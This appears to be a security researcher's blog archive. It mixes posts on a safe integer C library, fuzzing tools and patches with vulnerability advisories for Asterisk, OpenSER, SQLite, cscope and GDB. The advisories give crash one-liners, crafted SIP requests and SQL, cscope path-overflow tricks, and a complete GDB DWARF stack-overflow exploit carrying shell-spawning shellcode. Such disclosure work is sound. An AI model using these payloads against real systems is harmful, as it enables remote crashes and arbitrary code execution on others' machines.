»Version 0.3.1 of safe_iop is now available. I had managed to typo the safe_sadd function and then did not test thoroughly. This is fixed in trunk with many tests. 0.3.1 contains the fix (backported) and one test. Hopefully, when the 0.4.0 release comes around, all my test cases will be much, much more thorough. …»
»Version 0.3 of safe_iop is now available. In addition, safe_iop now has its own home on google project hosting!
This change brings about a cleaner completely macro-based interface. In addition, it frees itself from the quagmire of broken header files (for the most part) with regard to type limits. Please see the README in the tarball for more!
Detailed plans and changes:
To Do:
- Add varargs style interface for safe_
…»
»Version 0.2 of safe_iop is now available.
To Do:
- Add left shift support
- Add additional sizes to safe_iopf (currently 32-bit only)
- Add more architecture dependent types
- Add 24-bit helpers
History:
= 0.2
- Removed dependence on twos complement arithmetic to allow macro-ized definitions
- Added (s)size_t support
- Added (u)int8,16,64 support
- Added portable inlining
- Added support for NULL result pointers
- Added support for header-only use (safe_iop.c only needed for safe_iopf)
= 0.1
- Initial release
…»
»On Monday, I presented Flayer: Exposing
Application Internals at the First USENIX Workshop on
Offensive Technologies (WOOT'07).
Flayer is a tool that I wrote for use in my everyday work. It allows me to
trace input through an application extracting the locations where that data
traverses conditional branches (ifs) and where it is used in system
calls. (It traces this data with bit-precision.) Armed with the locations
where the data is used, Flayer can force the tainted code path to behave
differently by changing the outcome of conditional jumps and stepping over
function calls. I use this functionality to bypass banner checks, version
checks, magic checks, etc in applications when I need to test them. Once
the outer layer of an application has been removed (flayed), I use classic
fuzz testing techniques against the exposed code without needing full
protocol awareness or other large initial investments other testing approaches
have.
To speed testing up, I wrote a helper program, named MKF, that
uses ptrace to perform the same check-bypassing modifications on binaries at
runtime without relying on Flayer (which has all the overhead of Valgrind/MemCheck). This gives me the
best of both worlds: high speed fuzzing with the targeting of Flayer.
In addition to testing, I find that tracing input and modifying execution behavior
on-the-fly is excellent for learning about an application quickly. This
approach allows me to determine attack surfaces based on what functions are
traversed without digging around the code for a while first. In a similar
vein, I've also used Flayer to compare code paths that are followed in patched
versus unpatched applications with the included interactive shell, flayersh.
Of course, the best part is that I was able to release Flayer publicly. This
makes it available to everyone to try out and change. I hope that this turns out
to be as useful for other people as has been for me.
That aside, the workshop itself was well-sized at around thirty people
with several interesting talks. In particular, I
enjoyed Robert Watson's "Exploiting
Concurrency Vulnerabilities in System Call Wrappers". While
time-of-check-time-of-use problems with system call wrappers have been
discussed before, it was great to see some code for exploiting these
problems across operating systems.
»An out of bounds memcpy() and integer underflow in Asterisk 1.4.x.
[=] The chan_skinny.c vulnerability reported last year was not patched properly.
[-] Sending 8 NUL bytes to an Asterisk server using the chan_skinny module
results in a segmentation fault due to an overly large memcpy(). In the
get_input() function of channels/chan_skinny.c, the length as read from the
user-supplied data is checked if it is less than zero and if it is greater
than the size of the inbuf (s->inbuf). The supplied length is used in a
memcpy() in skinny_req_parse():
memcpy(....., len-4)
Any length of 3 or less will result in the extremely large memcpy. A
length of 0 results in an empty skinny request object. The side effect of
that has not been investigated.
[+] Please see the attached patch for a simplistic solution. More aggressive,
documented checking is advisable.
[*] Any Asterisk-based code listening for skinny traffic is susceptible to this
attack. It requires no authentication or system-specific knowledge.
[?] To reproduce, run an asterisk server with skinny channel support (defaulting
to TCP/2000). The following command will result in a crash:
ruby -e 'print "\x00" * 8' | nc asterisk 2000
[=] An out of band read in the RTP handling code exists due to poor length
checking.
[-] The RTP handling code forks for cases where the packet appears to be a STUN
packet. The fork occurs in ast_rtp_read(), shunting the packet to
stun_handle_packet(). On line 446, a while loop is defined with the
predicate of "while(len)". 'len' is defined as a size_t and is the size of
the payload read from the socket. On each loop, 'len' is decremented by a
packet-supplied STUN attribute length and the size of the stun_attr struct.
There are two checks against 'len': (1) break if len < sizeof(struct
stun_attr), (2) break if attr->len > len. Since 'len' is decremented by
both values, it is possible to craft a packet of the correct length with
the correct embedded STUN attribute length to cause 'len' to be decremented
past 0. For example, if 'len' is equal to the size of a stun_attr struct
and 'attr->len' is equal to 'len' then 'len' will be decremented by twice
its value. Once it flips, the associated 'data' pointer will be
incremented out of accessible memory and the server will crash.
[+] Since 'len' is unsigned, it is not sufficient to attempt to check for it
becoming negative. In addition, data would still be increment out of
bounds. Instead, a check should be added to ensure that 'len' is no less
than the total value it will be decremented by. The attached patch
performs those checks.
[*] Any active asterisk server with open RTP-based media connections is
vulnerable. No information about the session is required, and given the
small size of the payload, it is possible to spray this data at all
standard RTP ports very quickly with a spoofed source address.
[?] To reproduce, run the following command against your asterisk server,
'asterisk', on a port with an open RTP session on 'rtpport':
ruby -e 'print "\x00\x01\x00\x18"*6' | nc -u asterisk rtpport
References
Credit
This work was sponsored by my employer.
…»
»An integer overflow in OpenSER's TCP connection handling code allows for a NUL byte to be written to an attacker controlled location in a 2Gb range of the attacked pointer.
Details
On line tcp_read.c:193, openser will take the user-specified Content-Length header and test it against the remaining bytes read. If the content-length is less than the total bytes read, it will assume that the rest is unneeded and set the integer tracking remaining bytes to the value of the content-length. This value is then used to increment a pointer into the user data. The content-length is stored in a signed 32-bit integer. If a value greater than INT_MAX (>=2^31) is given, it is treated as a negative value. The content-length is always used to increment the pointer and later, a '\0' character is written to the location of the decremented pointer. It is possible to write a 0 to data in the heap or in the stack.
Remediation
There are many possible fixes for this vulnerability. The simplest of which is to modify the if block in tcp_read_req() where a non-zero content length is checked for.
As of this post, most available OpenSER versions have been updated. If you are running an old version, update!
Proof of concept
A sample request may look as follows:
INVITE sip:root@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP localhost.localdomain:9090;branch=z9hG4bK00000000001
From: 0 <sip:user@localhost.localdomain>;tag=0
To: Receiver <sip:root@127.0.0.1>
Call-ID: 1@localhost.localdomain
CSeq: 1 INVITE
Contact: 0 <sip:user@localhost.localdomain>
Expires: 1200
Max-Forwards: 1
Content-Type: application/sdp
v=0
o=0 0 0 IN IP4 localhost.localdomain
s=Session SDP
c=IN IP4 127.0.0.1
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000
Content-Length: 4294966690
</sip:user@localhost.localdomain></sip:root@127.0.0.1></sip:user@localhost.localdomain>
References
Credit
This work was sponsored by my employer.
…»
»Numerous security related bugs in SQLite affecting most versions before 3.4.0.
Background
"SQLite is the most widely deployed SQL database engine in the world." It "is a software library that implements a self-contained, serverless, zero-configuration, transactional SQL database engine."
Details
This section quickly lists the vulnerabilities and links to the
author supplied fixes in CVStrac. Upgrading to version 3.4.0 is the
recommended path to avoid these vulnerabilities.
[=] Integer overflow / heap overflow in ALTER
[-] If a table contains around 214748364 columns, and the alter command is
called, a malloc() will occur with a size of 0.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3954
http://www.sqlite.org/cvstrac/chngview?cn=3956
[?] (Test case is waay to time consuming.)
[=] Signedness error / heap overflow in select (sqlite3VdbeSetNumCols)
[-] The function sqlite3VdbeSetNumCols takes the column count and multiplies it
by 5 and then by 64 prior to an allocation call. A query with the number of
columns of 13421772 or greater will result in an overflow.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3954
http://www.sqlite.org/cvstrac/chngview?cn=3956
[?] select 1,1,1,1........,1;
[=] Large select statements result in recursion induced stack overflow
[-] The function walkExprTree() in expr.c makes recursive calls to handle each
of the conditional tests. Extremely large queries result in stack
exhaustion.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3968
http://www.sqlite.org/cvstrac/chngview?cn=3954
http://www.sqlite.org/cvstrac/chngview?cn=3956
[?] select 1 where 1==1 and 1==1 and ...... and 1 == 1;
[=] Integer overflow / heap overflow in ORDER BY expressions
[-] Similarly to the other column count overflows, memory is allocated for a
size derived from the multiplication of the number of expressions by several
fixed sizes: sqliteMalloc( sizeof(*pInfo) + nExpr*(sizeof(CollSeq*)+1) ).
[+] http://www.sqlite.org/cvstrac/chngview?cn=3954
http://www.sqlite.org/cvstrac/chngview?cn=3956
[?] select 1 order by 1,1,1,1,1,......,1
[=] Arithmetic overflow in the modulus operator
[-] The division and modulus code check for a divisor of 0 but neglected to
check for the LLONG_MIN/-1 case. Due to the type handling in
sqlite, -2**31 is
treated as a 32 bit integer but treats -9223372036854775808 as a
real. In the
case of division, doubles are used, but in the case of modulo, the value is
cast down to a 32 bit integer.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3945
[?] select (-9223372036854775808 % -1);
select (-2147483648.0 % -1);
[=] Out of bound read in sqlite_rename_trigger / sqlite_rename_table
[-] Two internally used functions, sqlite_rename_trigger and
sqlite_rename_table do not properly check for terminal tokens when
parsing the
arguments. This results in out of band reads.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3944
[?] select sqlite_rename_table(0, 0);
select sqlite_rename_trigger(0,0);
[=] NULL pointer dereference with pathological detach queries
[-] If unexpected SQL follows the DETACH command, NULL pointer derefencing
occurs in the parsing code.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3965
[?] DETACH RAISE ( IGNORE ) IN ( SELECT "AAAAAA" . * ORDER BY REGISTER LIMIT
"AAAAAA" . "AAAAAA" OFFSET RAISE ( IGNORE ) NOT NULL );
[=] NULL pointer dereference with pathological SQL
[-] This is similar to the earlier bug with DETACH but takes a different code
path.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3965
[?] DETACH DATABASE ( NOT ( SELECT * ) IN ( ) );
[=] Multiple parser bugs resulting in NULL pointer dereferences, bad free()s,
and assertions
[-] Register tokens are used internally for tracking internal stack state in
sqlite.
[+] http://www.sqlite.org/cvstrac/chngview?cn=3980
[?] SELECT + #100;
[!] Note: assert() statements are automatically removed in most sqlite
builds through the definition of NDEBUG. This may increase the impact of
any reachable assertions.
[=] Schema corruption possible with malformed unicode
[-] Due to a mismatch in string length during processing (alter table and
substr()), malformed unicode can be used to corrupt the schema. This would
allow for memory exhaustion attacks as well as general table damage.
[+] http://www.sqlite.org/cvstrac/chngview?cn=4003
http://www.sqlite.org/cvstrac/chngview?cn=4033
[?] E.g.,
echo -e 'create table bar ("\xc6\xc6");' | ./sqlite3 db
echo "alter table bar add column aaa;" | ./sqlite3 db
echo "alter table bar add column aaa;" | ./sqlite3 db
echo "alter table bar add column aaa;" | ./sqlite3 db
echo ".schema bar" | ./sqlite3 db
# Shows the broken schema
[=] Multiple issues with zeroblob()
[-] The zeroblob function creates empty structures with a claimed size
that is the supplied argument. Due to a lack of checking, bitwise ORs
would occur on null values. In addition, bad free()s occurred when
zeroblob was supplied a negative value.
[+] http://www.sqlite.org/cvstrac/chngview?cn=4048
[?] select hex(zeroblob(1) | x'01');
select zeroblob(-1);
References
Credit
This work was sponsored by my employer.
…»
»This my crack at a (quick!) safe integer library for C.
The routines are based
off of the recommendations at CERT's secure coding site, but I'm trying to add
interfaces that are more appealing to the developer.
Shockingly, integer overflows and sign errors are incredibly common in
software still. One normal mistake is to use user-supplied values in
multiplicative statements for memory allocation, e.g.
malloc(sizeof(giantstruct) * user_int). These sort of
error, while seemingly trivial, easily results in exploitable heap
overflows.
safe_iop is a simple library
that I'm releasing to the public domain which can help with these. Not
only does it supply simple integer operation helper functions, it also
supplies a more complex interface:
bool safe_iopf(void *dst, char *format, ...);
This syntax takes in a format char array and performs the specified
actions on the remaining arguments. For instance,
if (!safe_iopf(&result, "++", i, j, k)) {
printf("Overflow!\n");
abort();
}
This gets even trickier by allowing the specification of size and
signedness:
if (!safe_iopf(&result, "u32*s32+", i, j, k)) {
printf("Overflow!\n");
abort();
}
The above case describes an unsigned 32-bit integer multiplication between
i and j followed by a signed int32 addition with
k.
There are still some kinks to work out and currently only 32-bit integer
operations are supported, but I'm hoping this slightly friendlier interface
might make software a slight bit better.
…»
»I was recently looking for reverse engineering tools for Linux.
On the open source front, there's virtually nothing left that works on modern Linux systems. Fneirs, linice, and numerous others are all extinct. Without picking up a copy of IDA, you're left with gdb or zero.
This is pretty frustrating. I haven't seen any tools built on the new
utrace system yet, but perhaps it will make
gdb that much better...
UPDATE: lcamtuf has a nice debug tool list, but it doesn't help too much. I have some hope ERESI will shape up.
…»
»I've been looking for a useful tool to aid note taking, but that I
could also keep on a USB stick safely.
I didn't want to have to toy with
encrypted filesystems or specialized programs to access it, and I'd like it to
be cross platform.
I ran across TiddlyWiki. It's a fully
self-contained wiki page that completely self managed in javascript. The idea
both terrified and intrigued me. Unfortunately, it lacked an encryption
feature. Up for a challenge, I wrote one. By cribbing Fritz's javascript AES
implementation, I was able to have a simple "tiddler" encrypter in a few hours.
Not only do I doubt that I've implemented this without mistake, I'd also be
surprised if anyone is using it. It's pretty slow when it has to do a lot of
work. Feel free to try out the EncryptionPlugin yourself. If
you're using it, or your aware of any huge mistakes, I'd love to know.
Unfortunately, it turns out I've only needed to use this once.
…»
»Ruby/ActiveLdap is a project I started when I first found Ruby. I'd been tortured by poor LDAP tool suites and LDAP's increasing ubiquity. RAL provides an ORM mapping from LDAP data to objects in Ruby by automatically parsing the server's LDAP schema The project page currently lives at RubyForge, and the amazing kou has taken over 99.9% of all Ruby/ActiveLdap development and support. …»
»Multiple vulnerabilities have been discovered in cscope that allow
for the execution of arbitrary code.
Background
From cscope.sourceforge.net:
cscope is a developer's tool for browsing source code. It has an impeccable
Unix pedigree, having been originally developed at Bell Labs back in the days
of the PDP-11. Cscope was part of the official AT&T Unix distribution for
many years, and has been used to manage projects involving 20 million lines
of code!
Impact
A successful exploit would resulting the execution of arbitrary code
immediately after executing cscope. In some environments, cscope may be
executed automatically on start up of the user's text editor or IDE.
Workaround
When using cscope,
Note: as of this posting, most packaged versions of cscope, and the source repository, should be patched. Ensure that your version of cscope is not out of date.
Discussion
Multiple exploitable stack buffer overflows have been found in cscope due to
the unchecked use of strcpy() and *scanf():
Use of fscanf() and sscanf() without enforced field maximum widths during file list parsing
This results in an exploitable condition which may be triggered in a number of
ways:
In the first case, an attacker may leave a `cscope.files' file in a directory
where the victim is likely to run cscope. This is particularly dangerous
because some text editors will automatically execute it cscope on start-up.
In the second case, an attacker may modify a shared source tree or supply a
prepackaged source archive with specially crafted file and directory names. The
victim would then need to run cscope over a list of this source tree's files.
If the resulting list contained any specially crafted paths, and it would result
in an overflow condition. As with the first case, some editors will
automatically generate this file list and execute cscope on it. This would
result in the attack occurring in the background, unbeknownst to the victim.
In both cases, the resulting file list will have a path to a file that exceeds
250 characters. E.g.,
$ bash -c 'D=$(ruby -e "print \"A\" * 255;"); for i in $(seq 1 15); do
mkdir $D; cd $D; touch A; done;'
$ find ./ -type f > cscope.files
$ cscope
Multiple unchecked uses of strcpy() during path variable expansion
cscope allows users to specify limited arguments in addition to files in the
`cscope.files' file list. When using the `-I' option, the subsequent paths will
have variable expansion performed prior to use. The '~' character is
expanded to the caller's `HOME' environment variable, and any occurrence of the
`$' character followed by a string will be expanded to the value of that
particular environment variable. e.g., "-I $SHELL" may become "-I /bin/bash".
These cases result in two separate crash conditions due to the unchecked
use of strcpy().
Tilde expansion may result in a stack buffer overflow if and only if the
victim's `HOME' environment variable is changed to exceed the maximum allocated
space for expansion:
$ export HOME=$(ruby -e "print 'A'*2048")
$ echo "-I~/foo.c" > cscope.files
$ cscope
However, general environment variable expansion is much more dangerous. This
attack allows a similar attack to the *scanf() attacks which can be triggered
using similar mechanisms. A specially crafted file list will result in the
execution of arbitrary code. The difference is that maximum field width
checking does not mitigate this attack. The specially crafted directory and
file names may contain environment variable references which expand to much
longer strings than the environment variable's name.
Because of this, more knowledge of the victim's environment is required in
order to create an effective exploit. However, some assumptions can be made
about common environment variables, such as `SHELL' and `LS_COLORS', that
make this attack viable.
# This directory may exist in a given source tree:
$ mkdir '^J-I$LS_COLORS'
$ touch '^J-I$LS_COLORS/payload_here'
# The end user may run this to build a filelist
$ find ./ -type -f > cscope.files
$ cscope
(Note, ^J represents the key combination "Ctrl+j".)
Unchecked use of strcpy() during command line argument parsing
This results in a command line based overflow attack. The impact of this
attack is minimal given that cscope is not normally run setuid, and the
attacker would need to have some control over the call to cscope. The overflow
occurs when cscope strcpy()s the `reffile` argument value over the statically
allocated stack buffer for `reffile'.
$ cscope -f `ruby -e 'print "A"*500'`
References
Credit
This work was sponsored by my employer.
…»
»Multiple vulnerabilities have been discovered in the GNU debugger that allow
for the execution of arbitrary code.
Background
GDB is the GNU Project Debugger. It is described on its project page as allowing "you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed."
DWARF is a information format standard used to represent debugging information for a specific binary. While the first version was originally used in ELF, ELF later moved to STABS. In more recent years, DWARF version 2.0 has been reintroduced into ELF binaries. More information can be found at freestandards.org.
Impact
A successful exploit would result in the execution of arbitrary code on the loading of a specially crafted executable.
This a viable mechanism for an attacker to escape restricted environments by piggybacking exploit code on seeming harmless files often used for debugging. In the worst case, this could allow for privilege escalation.
Workaround
Do not use GDB on untrusted files that may have DWARF(2) debugging information, e.g. binaries and core files. There is no way to verify if an untrusted file is safe to debug without investigating the debugging symbols manually.
Discussion
There are multiple exploitable vulnerabilities in the DWARF and DWARF2 code. Initially, Tavis Ormandy, a colleague of mine, discovered a crash condition in GDB related to DWARF2 debugging information. This discovery led to the further exploration of the condition, and the discovery of these issues.
The DWARF specification allows location description blocks containing a list of operations to be used to determine the final real address for some debugging symbol. GDB evaluates these operations on an unchecked stack buffer of size 64. This allows for any location block (DW_FORM_block) with more than 64 operations to overwrite the current stack frame with arbitrary user-supplied data. This behavior occurs in both dwarfread.c and dwarfread2.c.
Patch
This has been patched in most major distributions already.
Exploit
A simple proof of concept exploit is attached for Ubuntu Breezy (6.3-5ubuntu1.1). This has been proven against multiple other prepackaged and custom builds of gdb up to version 6.5.
noteThis exploit was embargoed for over a year and a half.
gdb-6.3-5ubuntu1.1:
.file "test.c"
.section .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
.section .debug_info,"",@progbits
.Ldebug_info0:
.section .debug_line,"",@progbits
.Ldebug_line0:
.text
.Ltext0:
.globl main
.type main, @function
main:
.LFB2:
.file 1 "test.c"
.loc 1 3 0
pushl %ebp
.LCFI0:
movl %esp, %ebp
.LCFI1:
subl $8, %esp
.LCFI2:
andl $-16, %esp
movl $0, %eax
addl $15, %eax
addl $15, %eax
shrl $4, %eax
sall $4, %eax
subl %eax, %esp
.loc 1 3 0
movl $0, %eax
leave
ret
.LFE2:
.size main, .-main
.local some_int
.comm some_int,2,2
.section .debug_frame,"",@progbits
.Lframe0:
.long .LECIE0-.LSCIE0
.LSCIE0:
.long 0xffffffff
.byte 0x1
.string ""
.uleb128 0x1
.sleb128 -4
.byte 0x8
.byte 0xc
.uleb128 0x4
.uleb128 0x4
.byte 0x88
.uleb128 0x1
.align 4
.LECIE0:
.LSFDE0:
.long .LEFDE0-.LASFDE0
.LASFDE0:
.long .Lframe0
.long .LFB2
.long .LFE2-.LFB2
.byte 0x4
.long .LCFI0-.LFB2
.byte 0xe
.uleb128 0x8
.byte 0x85
.uleb128 0x2
.byte 0x4
.long .LCFI1-.LCFI0
.byte 0xd
.uleb128 0x5
.align 4
.LEFDE0:
.text
.Letext0:
.section .debug_info
.long 0x13c /* total length of section */
.value 0x2
.long .Ldebug_abbrev0
.byte 0x4
.uleb128 0x1
.long .Ldebug_line0
.long .Letext0
.long .Ltext0
.string "GNU C 4.0.3"
.byte 0x1
.string "test.c"
.string "/tmp"
.uleb128 0x2
.byte 0x1
.string "main"
.byte 0x1
.byte 0x3
.long 0x6b
.long .LFB2
.long .LFE2
.byte 0x1
.byte 0x55
.uleb128 0x3
.string "int"
.byte 0x4
.byte 0x5
.uleb128 0x4
.string "some_int"
.byte 0x1
.byte 0x1
.long 0x88
.byte 0xaf /* block length */
.byte 0x0c /* DW_OP_const4u */
.long 0x01020304 /* put in a marker to dup */
.rept 65
.byte 0x12 /* DW_OP_dup: stacki++ */
.endr
/* when built -O0, this is objfile. O2 let's us not worry */
.byte 0x0c /* DW_OP_const4u */
.long 0x99999999 /* clear markers */
.byte 0x0c /* DW_OP_const4u */
.long 0x88888888
.byte 0x0c /* DW_OP_const4u */
.long 0x77777777
.byte 0x0c /* DW_OP_const4u */
.long 0x666666
.byte 0x0c /* DW_OP_const4u: EIP */
.long 0x8239eef /* objdump -D gdb | grep 'jmp[ ]*\*%esp' */
/* classic alephone shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x895e2aeb /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x46c60876 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x46c70007 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x0000000c /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x000bb800 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0xf3890000 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x8d084e8d /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x80cd0c56 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x000001b8 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x0000bb00 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x80cd0000 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0xffffd1e8 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x69622fff /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x68732f6e /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x5dec8900 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x000000c3 /* shellcode */
/* end shellcode */
.uleb128 0x3
.string "short int"
.byte 0x2
.byte 0x5
.byte 0x0
.section .debug_abbrev
.uleb128 0x1
.uleb128 0x11
.byte 0x1
.uleb128 0x10
.uleb128 0x6
.uleb128 0x12
.uleb128 0x1
.uleb128 0x11
.uleb128 0x1
.uleb128 0x25
.uleb128 0x8
.uleb128 0x13
.uleb128 0xb
.uleb128 0x3
.uleb128 0x8
.uleb128 0x1b
.uleb128 0x8
.byte 0x0
.byte 0x0
.uleb128 0x2
.uleb128 0x2e
.byte 0x0
.uleb128 0x3f
.uleb128 0xc
.uleb128 0x3
.uleb128 0x8
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x11
.uleb128 0x1
.uleb128 0x12
.uleb128 0x1
.uleb128 0x40
.uleb128 0xa
.byte 0x0
.byte 0x0
.uleb128 0x3
.uleb128 0x24
.byte 0x0
.uleb128 0x3
.uleb128 0x8
.uleb128 0xb
.uleb128 0xb
.uleb128 0x3e
.uleb128 0xb
.byte 0x0
.byte 0x0
/* some_int's definition */
.uleb128 0x4 /* abbrev 4 */
.uleb128 0x34 /* DW_TAG_variable */
.byte 0x0 /* no children */
.uleb128 0x3 /* DW_AT_name */
.uleb128 0x8 /* DW_FORM_string */
.uleb128 0x3a /* DW_AT_decl_file */
.uleb128 0xb /* DW_FORM_data1 */
.uleb128 0x3b /* DW_AT_decl_line */
.uleb128 0xb /* DW_FORM_data2 */
.uleb128 0x49 /* DW_AT_type */
.uleb128 0x13 /* DW_FORM_ref4 */
.uleb128 0x2 /* DW_AT_location */
.uleb128 0xa /* DW_FORM_block1 (max size of 255 - should be enough) */
.byte 0x0
.byte 0x0
.byte 0x0
.section .debug_pubnames,"",@progbits
.long 0x17
.value 0x2
.long .Ldebug_info0
.long 0x96
.long 0x54
.string "main"
.long 0x0
.section .debug_aranges,"",@progbits
.long 0x1c
.value 0x2
.long .Ldebug_info0
.byte 0x4
.byte 0x0
.value 0x0
.value 0x0
.long .Ltext0
.long .Letext0-.Ltext0
.long 0x0
.long 0x0
.ident "GCC: (GNU) 4.0.3"
.section .note.GNU-stack,"",@progbits
References
Credit
This work was sponsored by my employer.
…»
»I used to spend a lot of time writing helpful tools for myself in Ruby. I haven't done much in a while. I've dumped the old skeletons of work in a directory. Feel free to try anything out, but I can't guarantee how useful it'll be. Some of the abandoned code includes projects like Ruby/BloomFilter, Ruby/PkiToolkit, Ruby/QuickCert, a NIST ICAT vulnerability database parser, and a simple, extensible certificate authority. …»
»A while back I sent a patch upstream to tcpdump wh
ich adds support for timed rotation of saved packet data files
Often I'll find that I need to run tcpdump
over a long period of time. The easiest way to avoid having oversized files is
to rotate with the -C option. This approach is fine, but it means
that any sort of basic trend analysis will require a little bit of automated
help. If rotation is done on a time basis, a simple ls -l will
show when traffic peaked or bottomed out. To this end, I authored a patch
which was accepted
upstream.
E.g. Dump 10 minutes worth of data in 60 second files:
tcpdump -G 60 -w timedump -s 0 -C 10
…»
»Ruby/ActiveLdap parses LDAP schemas
provided by the server in order to
determine what attributes are available for
a particular object and how they should be treated. This is being done
primarily with the regular expressions built-in to Ruby/LDAP. Turns out, this is
pretty damn slow. When trying to speed up RAL, I wrote this simple patch.
In essence, it implements parsing of the BNF syntaxes supplied in RFC 2252. It
works quite well with the OpenLDAP schemas I tested, but it doesn't yet support
UTF-8 as the RFC specifies. Since there doesn't appear to be much interest in
this parser, I haven't taken then time to add this, but I believe that this
could be added quite easily by checking byte width of each token in the
parse function. If you are looking for a LDAPv3 schema parser and
you'd be interest in having me clean this up, feel free to drop me a line.
…»
»An old stab at a POSIX-compatible, user-level threading library.
When I was at university, I was challenged to write a full-fledged,
POSIX-compatible, threading library. Motivated by an assignment to write a
threading library using the friendly BSD functions from
ucontext.h, I opted for the more interesting problem. This
resulted in wth.
The library is fully functional and is compatible with POSIX 1003.1-2001 based
operating systems. Feel free to try it out and send me feedback. If you're
serious about using, I'd suggest breaking POSIX compliance and switching from
sleep and SIGALRM to setitimer and
SIGVTALRM. This will add support for sub-second scheduling which
will make it much more responsive.
…»
Subscribe to:
Posts (Atom)